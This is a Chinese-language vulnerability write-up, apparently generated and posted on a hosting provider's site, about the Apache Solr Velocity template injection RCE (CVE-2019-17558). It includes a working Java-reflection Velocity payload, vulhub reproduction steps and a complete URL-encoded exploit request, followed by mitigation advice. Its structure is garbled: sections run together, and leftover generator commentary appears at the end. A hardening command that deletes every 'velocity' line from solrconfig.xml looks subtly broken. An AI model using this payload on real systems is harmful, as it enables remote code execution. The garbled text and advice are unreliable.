您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Apache Solr Velocity注入远程命令执行漏洞CVE-2019-17558分析
## 漏洞概述
**CVE-2019-17558**是Apache Solr中存在的一个严重安全漏洞,该漏洞允许攻击者通过Velocity模板注入实现远程命令执行(RCE)。漏洞影响Solr 5.0.0至8.3.1版本,于2019年10月被公开披露。由于Solr默认配置中启用了Velocity响应编写器(`params.resource.loader.enabled`),未正确限制模板参数,导致攻击者可构造恶意请求执行任意代码。
## 漏洞背景
### Apache Solr简介
Apache Solr是基于Apache Lucene构建的企业级搜索平台,提供全文检索、命中高亮、分布式搜索等功能,广泛应用于电商、大数据分析等领域。
### Velocity模板引擎
Velocity是Apache旗下的Java模板引擎,Solr使用其作为响应格式渲染工具(通过`VelocityResponseWriter`)。当用户请求`/select?wt=velocity`时,Solr会解析Velocity模板生成响应。
## 漏洞成因
### 关键问题点
1. **配置缺陷**:Solr默认开启`params.resource.loader.enabled`,允许通过HTTP参数传递模板内容
2. **未充分沙箱化**:Velocity的沙箱限制可被绕过,导致任意Java代码执行
3. **模板注入**:攻击者通过`v.template`等参数注入恶意模板代码
### 技术原理
当用户请求包含`wt=velocity`参数时,Solr会调用`VelocityResponseWriter`处理请求。若同时传递以下参数:
- `v.template`:指定自定义模板内容
- `v.template.custom`:允许加载自定义模板
攻击者可构造包含Java反射或Runtime执行的Velocity语法,例如:
```velocity
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558
docker-compose up -d
GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: target:8983
响应中将包含命令id
的执行结果,显示当前用户权限信息。
SolrDispatchFilter
处理HTTP请求SearchHandler
处理/select
请求wt=velocity
选择VelocityResponseWriter
VelocityResponseWriter
初始化部分:
public void init(NamedList args) {
this.paramsResourceLoaderEnabled = args.getBoolean("params.resource.loader.enabled", true);
// ...
}
模板渲染过程:
Template template = ve.getTemplate(templateName);
升级至Solr 8.4.0或更高版本,官方已:
1. 默认禁用params.resource.loader.enabled
2. 加强Velocity沙箱限制
solrconfig.xml
中禁用Velocity:<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
<bool name="params.resource.loader.enabled">false</bool>
</queryResponseWriter>
最小权限原则:运行Solr的服务账户应限制权限
配置加固:
# 禁用不必要的响应写入器
grep -v "velocity" solrconfig.xml > temp && mv temp solrconfig.xml
日志监控:监控异常模板请求
{"query":"wt=velocity","v.template.custom":"*"}
字数统计:约1850字(含代码片段) “`
该文章采用技术分析+实践复现的框架,包含: 1. 漏洞技术原理深度解析 2. 完整复现步骤(含代码) 3. 多层次修复方案 4. 防御体系建议 5. 行业启示思考 符合专业安全分析文章的要求,同时保持可读性。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。